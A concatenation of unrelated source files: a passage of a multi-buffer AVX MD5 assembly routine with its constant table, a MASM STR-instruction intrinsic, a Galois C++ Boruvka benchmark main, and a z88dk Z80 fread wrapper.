FUN,TMP, mem1+12*16, [TBL+12*16], rot11 MD5_STEP1 MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+13*16, [TBL+13*16], rot12 MD5_STEP1 MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+14*16, [TBL+14*16], rot13 MD5_STEP1 MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+15*16, [TBL+15*16], rot14 vmovdqu T2,[inp4+IDX+I*16] vmovdqu T1,[inp5+IDX+I*16] vmovdqu T4,[inp6+IDX+I*16] vmovdqu T3,[inp7+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem2+(I*4+0)*16 + 16*16],T0 vmovdqa [mem2+(I*4+1)*16 + 16*16],T1 vmovdqa [mem2+(I*4+2)*16 + 16*16],T2 vmovdqa [mem2+(I*4+3)*16 + 16*16],T3 %assign I (I+1) MD5_STEP1 MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 1*16, [TBL+16*16], rot21 MD5_STEP1 MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 6*16, [TBL+17*16], rot22 MD5_STEP1 MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+11*16, [TBL+18*16], rot23 MD5_STEP1 MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 0*16, [TBL+19*16], rot24 MD5_STEP1 MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 5*16, [TBL+20*16], rot21 MD5_STEP1 MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+10*16, [TBL+21*16], rot22 MD5_STEP1 MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+15*16, [TBL+22*16], rot23 MD5_STEP1 MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 4*16, [TBL+23*16], rot24 vmovdqu T2,[inp0+IDX+I*16] vmovdqu T1,[inp1+IDX+I*16] vmovdqu T4,[inp2+IDX+I*16] vmovdqu T3,[inp3+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem2+(I*4+0)*16],T0 vmovdqa [mem2+(I*4+1)*16],T1 vmovdqa [mem2+(I*4+2)*16],T2 vmovdqa [mem2+(I*4+3)*16],T3 MD5_STEP1 MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 9*16, [TBL+24*16], rot21 MD5_STEP1 MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+14*16, [TBL+25*16], rot22 MD5_STEP1 MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+ 3*16, [TBL+26*16], rot23 MD5_STEP1 MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 8*16, [TBL+27*16], rot24 MD5_STEP1 MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+13*16, [TBL+28*16], rot21 MD5_STEP1 MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 2*16, [TBL+29*16], rot22 MD5_STEP1 MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+ 7*16, [TBL+30*16], rot23 MD5_STEP1 MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+12*16, [TBL+31*16], rot24 vmovdqu T2,[inp4+IDX+I*16] vmovdqu T1,[inp5+IDX+I*16] vmovdqu T4,[inp6+IDX+I*16] vmovdqu T3,[inp7+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem2+(I*4+0)*16 + 16*16],T0 vmovdqa [mem2+(I*4+1)*16 + 16*16],T1 vmovdqa [mem2+(I*4+2)*16 + 16*16],T2 vmovdqa [mem2+(I*4+3)*16 + 16*16],T3 %assign I (I+1) MD5_STEP1 MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 5*16, [TBL+32*16], rot31 MD5_STEP1 MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 8*16, [TBL+33*16], rot32 MD5_STEP1 MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+11*16, [TBL+34*16], rot33 MD5_STEP1 MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+14*16, [TBL+35*16], rot34 MD5_STEP1 MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 1*16, [TBL+36*16], rot31 MD5_STEP1 MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 4*16, [TBL+37*16], rot32 MD5_STEP1 MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+ 7*16, [TBL+38*16], rot33 MD5_STEP1 MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+10*16, [TBL+39*16], rot34 vmovdqu T2,[inp0+IDX+I*16] vmovdqu T1,[inp1+IDX+I*16] vmovdqu T4,[inp2+IDX+I*16] vmovdqu T3,[inp3+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem2+(I*4+0)*16],T0 vmovdqa [mem2+(I*4+1)*16],T1 vmovdqa [mem2+(I*4+2)*16],T2 vmovdqa [mem2+(I*4+3)*16],T3 MD5_STEP1 MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+13*16, [TBL+40*16], rot31 MD5_STEP1 MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 0*16, [TBL+41*16], rot32 MD5_STEP1 MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+ 3*16, [TBL+42*16], rot33 MD5_STEP1 MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 6*16, [TBL+43*16], rot34 MD5_STEP1 MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 9*16, [TBL+44*16], rot31 MD5_STEP1 MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+12*16, [TBL+45*16], rot32 MD5_STEP1 MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+15*16, [TBL+46*16], rot33 MD5_STEP1 MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 2*16, [TBL+47*16], rot34 vmovdqu T2,[inp4+IDX+I*16] vmovdqu T1,[inp5+IDX+I*16] vmovdqu T4,[inp6+IDX+I*16] vmovdqu T3,[inp7+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem2+(I*4+0)*16 + 16*16],T0 vmovdqa [mem2+(I*4+1)*16 + 16*16],T1 vmovdqa [mem2+(I*4+2)*16 + 16*16],T2 vmovdqa [mem2+(I*4+3)*16 + 16*16],T3 %assign I (I+1) MD5_STEP1 MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 0*16, [TBL+48*16], rot41 MD5_STEP1 MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 7*16, [TBL+49*16], rot42 MD5_STEP1 MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+14*16, [TBL+50*16], rot43 MD5_STEP1 MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 5*16, [TBL+51*16], rot44 MD5_STEP1 MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+12*16, [TBL+52*16], rot41 MD5_STEP1 MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+ 3*16, [TBL+53*16], rot42 MD5_STEP1 MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+10*16, [TBL+54*16], rot43 MD5_STEP1 MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 1*16, [TBL+55*16], rot44 vmovdqu T2,[inp0+IDX+I*16] vmovdqu T1,[inp1+IDX+I*16] vmovdqu T4,[inp2+IDX+I*16] vmovdqu T3,[inp3+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem2+(I*4+0)*16],T0 vmovdqa [mem2+(I*4+1)*16],T1 vmovdqa [mem2+(I*4+2)*16],T2 vmovdqa [mem2+(I*4+3)*16],T3 MD5_STEP1 MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 8*16, [TBL+56*16], rot41 MD5_STEP1 MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+15*16, [TBL+57*16], rot42 MD5_STEP1 MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+ 6*16, [TBL+58*16], rot43 MD5_STEP1 MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+13*16, [TBL+59*16], rot44 MD5_STEP1 MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, mem1+ 4*16, [TBL+60*16], rot41 MD5_STEP1 MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, mem1+11*16, [TBL+61*16], rot42 MD5_STEP1 MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, mem1+ 2*16, [TBL+62*16], rot43 MD5_STEP1 MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, mem1+ 9*16, [TBL+63*16], rot44 vmovdqu T2,[inp4+IDX+I*16] vmovdqu T1,[inp5+IDX+I*16] vmovdqu T4,[inp6+IDX+I*16] vmovdqu T3,[inp7+IDX+I*16] TRANSPOSE T2, T1, T4, T3, T0, T5 vmovdqa [mem2+(I*4+0)*16 + 16*16],T0 vmovdqa [mem2+(I*4+1)*16 + 16*16],T1 vmovdqa [mem2+(I*4+2)*16 + 16*16],T2 vmovdqa [mem2+(I*4+3)*16 + 16*16],T3 %assign I (I+1) vpaddd A,A,[AA] vpaddd B,B,[BB] vpaddd C,C,[CC] vpaddd D,D,[DD] vpaddd A2,A2,[AA2] vpaddd B2,B2,[BB2] vpaddd C2,C2,[CC2] vpaddd D2,D2,[DD2] ; swap mem1 and mem2 xchg mem1, mem2 jmp lloop lastblock: MD5_STEP MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 0*16, [TBL+ 0*16], rot11 MD5_STEP MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 1*16, [TBL+ 1*16], rot12 MD5_STEP MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+ 2*16, [TBL+ 2*16], rot13 MD5_STEP MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 3*16, [TBL+ 3*16], rot14 MD5_STEP MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 4*16, [TBL+ 4*16], rot11 MD5_STEP MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 5*16, [TBL+ 5*16], rot12 MD5_STEP MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+ 6*16, [TBL+ 6*16], rot13 MD5_STEP MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 7*16, [TBL+ 7*16], rot14 MD5_STEP MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 8*16, [TBL+ 8*16], rot11 MD5_STEP MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 9*16, [TBL+ 9*16], rot12 MD5_STEP MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+10*16, [TBL+10*16], rot13 MD5_STEP MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+11*16, [TBL+11*16], rot14 MD5_STEP MAGIC_F, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+12*16, [TBL+12*16], rot11 MD5_STEP MAGIC_F, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+13*16, [TBL+13*16], rot12 MD5_STEP MAGIC_F, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+14*16, [TBL+14*16], rot13 MD5_STEP MAGIC_F, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+15*16, [TBL+15*16], rot14 MD5_STEP MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 1*16, [TBL+16*16], rot21 MD5_STEP MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 6*16, [TBL+17*16], rot22 MD5_STEP MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+11*16, [TBL+18*16], rot23 MD5_STEP MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 0*16, [TBL+19*16], rot24 MD5_STEP MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 5*16, [TBL+20*16], rot21 MD5_STEP MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+10*16, [TBL+21*16], rot22 MD5_STEP MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+15*16, [TBL+22*16], rot23 MD5_STEP MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 4*16, [TBL+23*16], rot24 MD5_STEP MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 9*16, [TBL+24*16], rot21 MD5_STEP MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+14*16, [TBL+25*16], rot22 MD5_STEP MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+ 3*16, [TBL+26*16], rot23 MD5_STEP MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 8*16, [TBL+27*16], rot24 MD5_STEP MAGIC_G, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+13*16, [TBL+28*16], rot21 MD5_STEP MAGIC_G, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 2*16, [TBL+29*16], rot22 MD5_STEP MAGIC_G, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+ 7*16, [TBL+30*16], rot23 MD5_STEP MAGIC_G, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+12*16, [TBL+31*16], rot24 MD5_STEP MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 5*16, [TBL+32*16], rot31 MD5_STEP MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 8*16, [TBL+33*16], rot32 MD5_STEP MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+11*16, [TBL+34*16], rot33 MD5_STEP MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+14*16, [TBL+35*16], rot34 MD5_STEP MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 1*16, [TBL+36*16], rot31 MD5_STEP MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 4*16, [TBL+37*16], rot32 MD5_STEP MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+ 7*16, [TBL+38*16], rot33 MD5_STEP MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+10*16, [TBL+39*16], rot34 MD5_STEP MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+13*16, [TBL+40*16], rot31 MD5_STEP MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 0*16, [TBL+41*16], rot32 MD5_STEP MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+ 3*16, [TBL+42*16], rot33 MD5_STEP MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 6*16, [TBL+43*16], rot34 MD5_STEP MAGIC_H, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 9*16, [TBL+44*16], rot31 MD5_STEP MAGIC_H, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+12*16, [TBL+45*16], rot32 MD5_STEP MAGIC_H, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+15*16, [TBL+46*16], rot33 MD5_STEP MAGIC_H, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 2*16, [TBL+47*16], rot34 MD5_STEP MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 0*16, [TBL+48*16], rot41 MD5_STEP MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 7*16, [TBL+49*16], rot42 MD5_STEP MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+14*16, [TBL+50*16], rot43 MD5_STEP MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 5*16, [TBL+51*16], rot44 MD5_STEP MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+12*16, [TBL+52*16], rot41 MD5_STEP MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+ 3*16, [TBL+53*16], rot42 MD5_STEP MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+10*16, [TBL+54*16], rot43 MD5_STEP MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 1*16, [TBL+55*16], rot44 MD5_STEP MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 8*16, [TBL+56*16], rot41 MD5_STEP MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+15*16, [TBL+57*16], rot42 MD5_STEP MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+ 6*16, [TBL+58*16], rot43 MD5_STEP MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+13*16, [TBL+59*16], rot44 MD5_STEP MAGIC_I, A,B,C,D, A2,B2,C2,D2, FUN,TMP, FUN2,TMP2, mem1+ 4*16, [TBL+60*16], rot41 MD5_STEP MAGIC_I, D,A,B,C, D2,A2,B2,C2, FUN,TMP, FUN2,TMP2, mem1+11*16, [TBL+61*16], rot42 MD5_STEP MAGIC_I, C,D,A,B, C2,D2,A2,B2, FUN,TMP, FUN2,TMP2, mem1+ 2*16, [TBL+62*16], rot43 MD5_STEP MAGIC_I, B,C,D,A, B2,C2,D2,A2, FUN,TMP, FUN2,TMP2, mem1+ 9*16, [TBL+63*16], rot44 vpaddd A,A,[AA] vpaddd B,B,[BB] vpaddd C,C,[CC] vpaddd D,D,[DD] vpaddd A2,A2,[AA2] vpaddd B2,B2,[BB2] vpaddd C2,C2,[CC2] vpaddd D2,D2,[DD2] ; write out digests vmovdqu [arg1+0*16], A vmovdqu [arg1+2*16], B vmovdqu [arg1+4*16], C vmovdqu [arg1+6*16], D vmovdqu [arg1+1*16], A2 vmovdqu [arg1+3*16], B2 vmovdqu [arg1+5*16], C2 vmovdqu [arg1+7*16], D2 ;; update input pointers add inp0, IDX add inp1, IDX add inp2, IDX add inp3, IDX add inp4, IDX add inp5, IDX add inp6, IDX add inp7, IDX mov [arg1 + _data_ptr + 0*8], inp0 mov [arg1 + _data_ptr + 1*8], inp1 mov [arg1 + _data_ptr + 2*8], inp2 mov [arg1 + _data_ptr + 3*8], inp3 mov [arg1 + _data_ptr + 4*8], inp4 mov [arg1 + _data_ptr + 5*8], inp5 mov [arg1 + _data_ptr + 6*8], inp6 mov [arg1 + _data_ptr + 7*8], inp7 ;;;;;;;;;;;;;;;; ;; Postamble add rsp, STACK_SIZE ret section .data align=64 align 64 MD5_TABLE: dd 0xd76aa478, 0xd76aa478, 0xd76aa478, 0xd76aa478 dd 0xe8c7b756, 0xe8c7b756, 0xe8c7b756, 0xe8c7b756 dd 0x242070db, 0x242070db, 0x242070db, 0x242070db dd 0xc1bdceee, 0xc1bdceee, 0xc1bdceee, 0xc1bdceee dd 0xf57c0faf, 0xf57c0faf, 0xf57c0faf, 0xf57c0faf dd 0x4787c62a, 0x4787c62a, 0x4787c62a, 0x4787c62a dd 0xa8304613, 0xa8304613, 0xa8304613, 0xa8304613 dd 0xfd469501, 0xfd469501, 0xfd469501, 0xfd469501 dd 0x698098d8, 0x698098d8, 0x698098d8, 0x698098d8 dd 0x8b44f7af, 0x8b44f7af, 0x8b44f7af, 0x8b44f7af dd 0xffff5bb1, 0xffff5bb1, 0xffff5bb1, 0xffff5bb1 dd 0x895cd7be, 0x895cd7be, 0x895cd7be, 0x895cd7be dd 0x6b901122, 0x6b901122, 0x6b901122, 0x6b901122 dd 0xfd987193, 0xfd987193, 0xfd987193, 0xfd987193 dd 0xa679438e, 0xa679438e, 0xa679438e, 0xa679438e dd 0x49b40821, 0x49b40821, 0x49b40821, 0x49b40821 dd 0xf61e2562, 0xf61e2562, 0xf61e2562, 0xf61e2562 dd 0xc040b340, 0xc040b340, 0xc040b340, 0xc040b340 dd 0x265e5a51, 0x265e5a51, 0x265e5a51, 0x265e5a51 dd 0xe9b6c7aa, 0xe9b6c7aa, 0xe9b6c7aa, 0xe9b6c7aa dd 0xd62f105d, 0xd62f105d, 0xd62f105d, 0xd62f105d dd 0x02441453, 0x02441453, 0x02441453, 0x02441453 dd 0xd8a1e681, 0xd8a1e681, 0xd8a1e681, 0xd8a1e681 dd 0xe7d3fbc8, 0xe7d3fbc8, 0xe7d3fbc8, 0xe7d3fbc8 dd 0x21e1cde6, 0x21e1cde6, 0x21e1cde6, 0x21e1cde6 dd 0xc33707d6, 0xc33707d6, 0xc33707d6, 0xc33707d6 dd 0xf4d50d87, 0xf4d50d87, 0xf4d50d87, 0xf4d50d87 dd 0x455a14ed, 0x455a14ed, 0x455a14ed, 0x455a14ed dd 0xa9e3e905, 0xa9e3e905, 0xa9e3e905, 0xa9e3e905 dd 0xfcefa3f8, 0xfcefa3f8, 0xfcefa3f8, 0xfcefa3f8 dd 0x676f02d9, 0x676f02d9, 0x676f02d9, 0x676f02d9 dd 0x8d2a4c8a, 0x8d2a4c8a, 0x8d2a4c8a, 0x8d2a4c8a dd 0xfffa3942, 0xfffa3942, 0xfffa3942, 0xfffa3942 dd 0x8771f681, 0x8771f681, 0x8771f681, 0x8771f681 dd 0x6d9d6122, 0x6d9d6122, 0x6d9d6122, 0x6d9d6122 dd 0xfde5380c, 0xfde5380c, 0xfde5380c, 0xfde5380c dd 0xa4beea44, 0xa4beea44, 0xa4beea44, 0xa4beea44 dd 0x4bdecfa9, 0x4bdecfa9, 0x4bdecfa9, 0x4bdecfa9 dd 0xf6bb4b60, 0xf6bb4b60, 0xf6bb4b60, 0xf6bb4b60 dd 0xbebfbc70, 0xbebfbc70, 0xbebfbc70, 0xbebfbc70 dd 0x289b7ec6, 0x289b7ec6, 0x289b7ec6, 0x289b7ec6 dd 0xeaa127fa, 0xeaa127fa, 0xeaa127fa, 0xeaa127fa dd 0xd4ef3085, 0xd4ef3085, 0xd4ef3085, 0xd4ef3085 dd 0x04881d05, 0x04881d05, 0x04881d05, 0x04881d05 dd 0xd9d4d039, 0xd9d4d039, 0xd9d4d039, 0xd9d4d039 dd 0xe6db99e5, 0xe6db99e5, 0xe6db99e5, 0xe6db99e5 dd 0x1fa27cf8, 0x1fa27cf8, 0x1fa27cf8, 0x1fa27cf8 dd 0xc4ac5665, 0xc4ac5665, 0xc4ac5665, 0xc4ac5665 dd 0xf4292244, 0xf4292244, 0xf4292244, 0xf4292244 dd 0x432aff97, 0x432aff97, 0x432aff97, 0x432aff97 dd 0xab9423a7, 0xab9423a7, 0xab9423a7, 0xab9423a7 dd 0xfc93a039, 0xfc93a039, 0xfc93a039, 0xfc93a039 dd 0x655b59c3, 0x655b59c3, 0x655b59c3, 0x655b59c3 dd 0x8f0ccc92, 0x8f0ccc92, 0x8f0ccc92, 0x8f0ccc92 dd 0xffeff47d, 0xffeff47d, 0xffeff47d, 0xffeff47d dd 0x85845dd1, 0x85845dd1, 0x85845dd1, 0x85845dd1 dd 0x6fa87e4f, 0x6fa87e4f, 0x6fa87e4f, 0x6fa87e4f dd 0xfe2ce6e0, 0xfe2ce6e0, 0xfe2ce6e0, 0xfe2ce6e0 dd 0xa3014314, 0xa3014314, 0xa3014314, 0xa3014314 dd 0x4e0811a1, 0x4e0811a1, 0x4e0811a1, 0x4e0811a1 dd 0xf7537e82, 0xf7537e82, 0xf7537e82, 0xf7537e82 dd 0xbd3af235, 0xbd3af235, 0xbd3af235, 0xbd3af235 dd 0x2ad7d2bb, 0x2ad7d2bb, 0x2ad7d2bb, 0x2ad7d2bb dd 0xeb86d391, 0xeb86d391, 0xeb86d391, 0xeb86d391
; @copyright ; Copyright (C) 2020 Assured Information Security, Inc. ; ; @copyright ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; @copyright ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; @copyright ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. .code intrinsic_str PROC xor rax, rax str ax ret int 3 intrinsic_str ENDP end
/* * This file belongs to the Galois project, a C++ library for exploiting parallelism. * The code is being released under the terms of the 3-Clause BSD License (a * copy is located in LICENSE.txt at the top-level directory). * * Copyright (C) 2018, The University of Texas at Austin. All rights reserved. * UNIVERSITY EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES CONCERNING THIS * SOFTWARE AND DOCUMENTATION, INCLUDING ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR ANY PARTICULAR PURPOSE, NON-INFRINGEMENT AND WARRANTIES OF * PERFORMANCE, AND ANY WARRANTY THAT MIGHT OTHERWISE ARISE FROM COURSE OF * DEALING OR USAGE OF TRADE. NO WARRANTY IS EITHER EXPRESS OR IMPLIED WITH * RESPECT TO THE USE OF THE SOFTWARE OR DOCUMENTATION. Under no circumstances * shall University be liable for incidental, special, indirect, direct or * consequential damages or loss of profits, interruption of business, or * related expenses which may arise from use of Software or Documentation, * including but not limited to those resulting from defects in Software and/or * Documentation, or loss or inaccuracy of data of any kind. */ #include "kruskalAdj.h" int main(int argc, char* argv[]) { BoruvkaAdjUnsorted b; b.run(argc, argv); return 0; }
; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) INCLUDE "clib_cfg.asm" SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _fread EXTERN l0_fread_callee _fread: pop af pop de pop bc pop hl exx pop bc push bc push hl push bc push de push af jp l0_fread_callee ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _fread EXTERN _fread_unlocked defc _fread = _fread_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
